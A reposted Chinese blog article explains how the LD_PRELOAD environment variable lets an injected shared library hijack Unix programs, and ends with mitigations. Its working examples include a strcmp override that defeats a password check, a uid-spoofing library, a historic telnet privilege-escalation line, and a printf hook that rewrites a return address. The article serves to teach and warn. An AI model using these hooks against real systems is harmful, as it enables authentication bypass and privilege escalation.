UNIX下的LD_PRELOAD环境变量

LD_PRELOAD劫持(超详细篇) 阅读详情


转载:http://blog.youkuaiyun.com/haoel/article/details/1602108


前言

 

       也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的Unix下的程序员的注意。

 

在开始讲述为什么要当心LD_PRELOAD环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

 

当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。

 

LD_PRELOAD简介

 

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

 

我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

 

OK。还是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。

 

示例一

 

我们写下面一段例程:

 

/* 文件名:verifypasswd.c */

/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/

 

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

 

char passwd[] = "password";

 

if (argc < 2) {

        printf("usage: %s <password>/n", argv[0]);

        return;

}

 

if (!strcmp(passwd, argv[1])) {

        printf("Correct Password!/n");

        return;

}

 

printf("Invalid Password!/n");

}

 

 

在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:

 

/* 文件名:hack.c */

 

#include <stdio.h>

#include <string.h>

 

int strcmp(const char *s1, const char *s2)

{

        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);

        /* 永远返回0,表示两个字符串相等 */

        return 0;

}

 

 

 

编译程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

 

测试一下程序:(得到正确结果)

$ ./verifypasswd asdf

Invalid Password!

 

设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库)

         $ export LD_PRELOAD="./hack.so"

 

再次运行程序:

$ ./verifypasswd  asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

 

我们可以看到,1)我们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。

 

示例二

 

让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)

 

于是,我们可以写下这样的动态链接库:

 

/* 文件名:preload.c */

 

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

 

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

 

 

       在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置LC_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会导致,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0,并把这个用户ID传到了执行端B计算机上,于是B计算机上的Daemon就会调用seteuid(0),导致我们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而为所欲为。

 

       上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC_PRELOAD环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。

 

让我们看一下这个函数是怎么影响系统命令的:

      

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

       $ whoami

root

$ /bin/sh

#         <------ 你可以看到命令行提示符会由 $ 变成 #

      

下面是一个曾经非常著名的系统攻击

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

 

 

当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。

 

所以,在我们编程时,我们要随时警惕着LD_PRELOAD。

 

 

如何避免

 

不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。

 

1)通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

 

2)通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)

 

在一些UNIX版本上,如果你想要使用LD_PRELOAD环境变量,你需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个Workaround的方法,是一种因噎废食的做法,为了安全,只能禁用。

 

 

另一个示例

 

最后,让我以一个更为“变态”的示例来结束这篇文章吧(这个示例来自某俄罗斯黑客)。看看我们还能用LD_PRELOAD来干点什么?下面这个程序comp.c,我们用来比较a和b,很明显,a和b不相等,所以,怎么运行都是程序打出Sorry,然后退出。这个示例会告诉我们如何用LD_PRELOAD让程序打印OK。

 

 

/* 源文件:comp.c  执行文件:comp*/

 

#include <stdio.h>

 

int main(int argc, char **argv)

{

        int a = 1, b = 2;

 

        if (a != b) {

                printf("Sorry!/n");

                return 0;

        }

 

        printf("OK!/n");

        return 1;

}

 

 

我们先来用GDB来研究一下程序的反汇编。注意其中的红色部分。那就是if语句。如果条件失败,则会转到<main+75>。当然,用LD_PRELOAD无法影响表达式,其只能只能影响函数。于是,我们可以在printf上动点歪脑筋。

 

(gdb) disassemble main

Dump of assembler code for function main:

0x08048368 <main+0>:    push   %ebp

0x08048369 <main+1>:    mov    %esp,%ebp

0x0804836b <main+3>:    sub    $0x18,%esp

0x0804836e <main+6>:    and    $0xfffffff0,%esp

0x08048371 <main+9>:    mov    $0x0,%eax

0x08048376 <main+14>:   add    $0xf,%eax

0x08048379 <main+17>:   add    $0xf,%eax

0x0804837c <main+20>:   shr    $0x4,%eax

0x0804837f <main+23>:   shl    $0x4,%eax

0x08048382 <main+26>:   sub    %eax,%esp

0x08048384 <main+28>:   movl   $0x1,0xfffffffc(%ebp)

0x0804838b <main+35>:   movl   $0x2,0xfffffff8(%ebp)

0x08048392 <main+42>:   mov    0xfffffffc(%ebp),%eax

0x08048395 <main+45>:   cmp    0xfffffff8(%ebp),%eax

0x08048398 <main+48>:   je     0x80483b3 <main+75>

0x0804839a <main+50>:   sub    $0xc,%esp

0x0804839d <main+53>:   push   $0x80484b0

0x080483a2 <main+58>:   call   0x80482b0

0x080483a7 <main+63>:   add    $0x10,%esp

0x080483aa <main+66>:   movl   $0x0,0xfffffff4(%ebp)

0x080483b1 <main+73>:   jmp    0x80483ca <main+98>

0x080483b3 <main+75>:   sub    $0xc,%esp

0x080483b6 <main+78>:   push   $0x80484b8

0x080483bb <main+83>:   call   0x80482b0

0x080483c0 <main+88>:   add    $0x10,%esp

0x080483c3 <main+91>:   movl   $0x1,0xfffffff4(%ebp)

0x080483ca <main+98>:   mov    0xfffffff4(%ebp),%eax

0x080483cd <main+101>:  leave

0x080483ce <main+102>:  ret

End of assembler dump.

 

 

下面是我们重载printf的so文件。让printf返回后的栈地址变成<main+75>。从而让程序接着执行。下面是so文件的源,都是让人反感的汇编代码。

 

#include <stdarg.h>

 

static int (*_printf)(const char *format, ...) = NULL;

 

int printf(const char *format, ...)

{

 

    if (_printf == NULL) {

         /* 取得标准库中的printf的函数地址 */

_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");

 

         /* 把函数返回的地址置到<main+75> */

         __asm__ __volatile__ (

                "movl 0x4(%ebp), %eax /n"

                "addl $15, %eax /n"

                "movl %eax, 0x4(%ebp)"

         );

 

         return 1;

    }

 

    /* 重置 printf的返回地址 */

    __asm__ __volatile__ (

            "addl $12, %%esp /n"

            "jmp *%0 /n"

                    : /* no output registers */

                    : "g" (_printf)

                    : "%esp"

    );

}

 

你可以在你的Linux下试试这段代码。:)



Pyrosim进阶指南:从隧道火灾模拟到复杂通风策略分析 本文深入探讨Pyrosim在隧道火灾模拟与通风策略分析中的高级应用。从精确几何建模到火源参数设置,再到通风系统的量化分析,详细介绍了如何利用Pyrosim优化隧道安全设计。特别强调了临界风速验证、横向通风配置及结果可视化技巧,为工程师提供实用的进阶指南。 阅读详情

相关推荐

经典密码体制(上)

头歌

shannidawang的博客 3086

警惕UNIX下的LD_PRELOAD环境变量

警惕UNIX下的LD_PRELOAD环境变量 转自 http://blog.youkuaiyun.com/haoel/article/details/1602108  陈皓 前言        也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下

walterxia的专栏 767

从零到一:Qt与PCL的跨平台开发环境搭建全攻略

本文详细介绍了从零开始搭建Qt与PCL跨平台开发环境的完整流程,涵盖Windows、Linux和macOS三大平台。重点解析了Qt5与Qt6版本选择、PCL库安装配置、VTK集成等关键技术要点,并提供跨平台CMake项目模板和常见问题解决方案,助力开发者快速构建三维点云处理应用。

weixin_29280657的博客 383

深入分析 LD_PRELOAD

是 系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。1、程序的链接程序的链接可以分为以下三种静态链接库,在 Linux 下文件名后缀为 ,如 。在编译链接时直接将目标代码加入可执行程序。动态链接库,在 Linux 下是 文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行

布袋和尚 1万+

【原创工具 | OpenCV-CamCalib】一个基于 OpenCV 的自动化相机数据采集和标定程序

一个基于OpenCV的自动化相机数据采集和标定程序。系统内置相机地址默认为 0。

XavierJ的博客 2697

斗鱼直播间弹幕爬虫实战:WebSocket连接与实时数据采集

在数据驱动的时代,直播平台的弹幕数据蕴含着巨大的价值——用户行为分析、舆情监控、弹幕情感分析、直播热度评估等应用场景层出不穷。斗鱼作为国内领先的直播平台,其弹幕系统基于WebSocket协议实现实时双向通信。本文将带您从零开始,使用Python构建一个完整的斗鱼直播间弹幕爬虫系统。

2201_76125261的博客 136

【程序狂魔】掌握LD_PRELOAD轻松进行程序修改和优化的绝佳方法!

LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数库。LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库。我们可以自己实现一个函数,底层调用系统调用,理由LD_PRELOAD优先加载我们的函数。

Lion_Long的博客 5628

手把手教你学Simulink--基于Simulink的移相全桥DC-DC变换器仿真建模

特点高效性:通过实现零电压开关(ZVS)减少开关损耗。电气隔离:使用变压器提供输入输出间的电气隔离。适用于中高功率应用:如服务器电源、工业电源等。挑战控制复杂度:精确控制相位差以实现软开关。元件选择:合适的电感、电容值对于性能至关重要。动态响应:快速响应负载变化,保持稳定的输出电压。首先明确要模拟的任务内容。设计一个能够支持特定输入输出电压比的PSFB变换器。根据工作频率和谐振元件值确定合适的电路参数。实现有效的控制策略来维持输出电压稳定,并实现软开关。

MHD0815的博客 518

Linux 环境变量LD_PRELOAD

Linux 下使用 环境变量 LD_PRELOAD 简介以及使用其来 hook标准库中的函数

小立仔 5578

数字电路逻辑与设计实验三 译码器和数据选择器

1. 译码器功能测试 将 74LS139 按图 3.1 接线,按表 3.2 输入电平分别置位,填输出状态表。 2. 译码器转换 将双 2-4 线译码器转换为 3-8 线译码器。 (1)画出转换电路图。 (2)在实验箱上接线并验证设计是否正确。 (3)设计并填表写该 3-8 线译码器功能表,画出输入、输出波形。 3. 数据选择器的测试及应用 (1) 将双 4 选 1 数据选择器 74LS153 参照图 3.2 接线,测试其功能并填写功能表 3.3。 (2)将实验箱脉冲信号源中固定连续脉冲 4 个不

欢迎交流学习心得 3085

huggingface高速下载模型的实战代码

本文主要介绍了huggingface高速下载模型的实战代码,尤其是无法通过国内源进行下载的huggingface模型,希望能对学习大模型的同学们有所帮助。需要特别说明的是,本文的代码是完全原创的,即能够最大限度利用宽度的速度,而且还能实现断点续传。 文章目录 1. 背景 2. 实战代码

herosunly的博客 29万+
上一篇: gcov lcov (一)
下一篇: Gcc扩展:__attribute__((constructor))
panfengsoftware
博客等级 码龄20年 38粉丝 34原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值